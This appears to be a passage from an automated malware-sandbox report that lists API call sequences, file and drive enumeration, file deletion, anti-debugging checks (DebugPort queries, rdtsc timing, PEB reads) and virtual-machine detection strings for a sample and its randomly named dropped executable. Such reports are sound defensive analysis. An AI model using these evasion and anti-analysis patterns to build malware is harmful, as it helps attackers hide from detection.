    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02719910 Sleep,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,5_2_02719910
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0270E6B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,5_2_0270E6B0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026F7680 GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,5_2_026F7680
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B2D120 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,6_2_00B2D120
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B39910 OpenMutexA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,6_2_00B39910
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B3DAE8 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,6_2_00B3DAE8
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B3DA50 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,6_2_00B3DA50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B2E6B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,6_2_00B2E6B0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B17680 GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,6_2_00B17680
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026CDA50 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,9_2_026CDA50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026CDAE8 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,9_2_026CDAE8
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026BD120 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,9_2_026BD120
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026C9910 Sleep,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,9_2_026C9910
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026BE6B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,9_2_026BE6B0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026A7680 Sleep,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,9_2_026A7680
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022EDA50 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,13_2_022EDA50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022EDAE8 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,13_2_022EDAE8
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022DD120 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,13_2_022DD120
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022E9910 Sleep,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,13_2_022E9910
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022DE6B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,13_2_022DE6B0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022C7680 GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,13_2_022C7680
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010C9910 GetHandleInformation,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,16_2_010C9910
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010BD120 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,16_2_010BD120
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010CDA50 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,16_2_010CDA50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010CDAE8 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,16_2_010CDAE8
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010A7680 GetHandleInformation,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,16_2_010A7680
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010BE6B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,16_2_010BE6B0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0271E0FB GetLogicalDriveStringsA,GetDriveTypeA,SetErrorMode,free,5_2_0271E0FB
    Source: C:\Windows\apppatch\svchost.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: 1fWgBXPgiT.exe, 00000000.00000002.1668463070.00000000005CE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ]sers\user\AppData\Local\Microsoft\WindowsApps\vmhgfs.DLL
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001B.00000002.2138799339.0000000001248000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4
    Source: svchost.exe, 00000001.00000003.1695333905.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1942144027.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875606726.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1945872425.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788563099.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968703670.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905496226.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905754051.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1780390704.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870487910.000000000089F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2813812181.00000000008A2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2108655193.0000000000CE8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW(
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2281883733.0000000000A01000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000C88000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWyg
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000009.00000002.2302683127.0000000000808000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000013.00000002.2103341640.00000000007F8000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000017.00000002.2118070234.00000000010A8000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001F.00000002.2159965317.0000000000B99000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000021.00000002.2171534327.0000000000898000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000023.00000002.2177828141.00000000009D6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
    Source: C:\Windows\apppatch\svchost.exeProcess information queried: ProcessInformationJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPortJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPortJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPortJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPortJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess queried: DebugPort
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00401B20 rdtsc 0_2_00401B20
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_027079D0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,5_2_027079D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_027078A0 CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle,5_2_027078A0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_004020E0 memset,SHGetFolderPathA,PathAppendA,SetCurrentDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,0_2_004020E0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00406800 mov eax, dword ptr fs:[00000030h]0_2_00406800
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00406B60 mov eax, dword ptr fs:[00000030h]0_2_00406B60
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00406B60 mov edx, dword ptr fs:[00000030h]0_2_00406B60
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C11360 mov eax, dword ptr fs:[00000030h]5_2_00C11360
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C11360 mov edx, dword ptr fs:[00000030h]5_2_00C11360
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C11000 mov eax, dword ptr fs:[00000030h]5_2_00C11000
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00AB1360 mov eax, dword ptr fs:[00000030h]6_2_00AB1360
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00AB1360 mov edx, dword ptr fs:[00000030h]6_2_00AB1360
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00AB1000 mov eax, dword ptr fs:[00000030h]6_2_00AB1000
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_023F1360 mov eax, dword ptr fs:[00000030h]9_2_023F1360
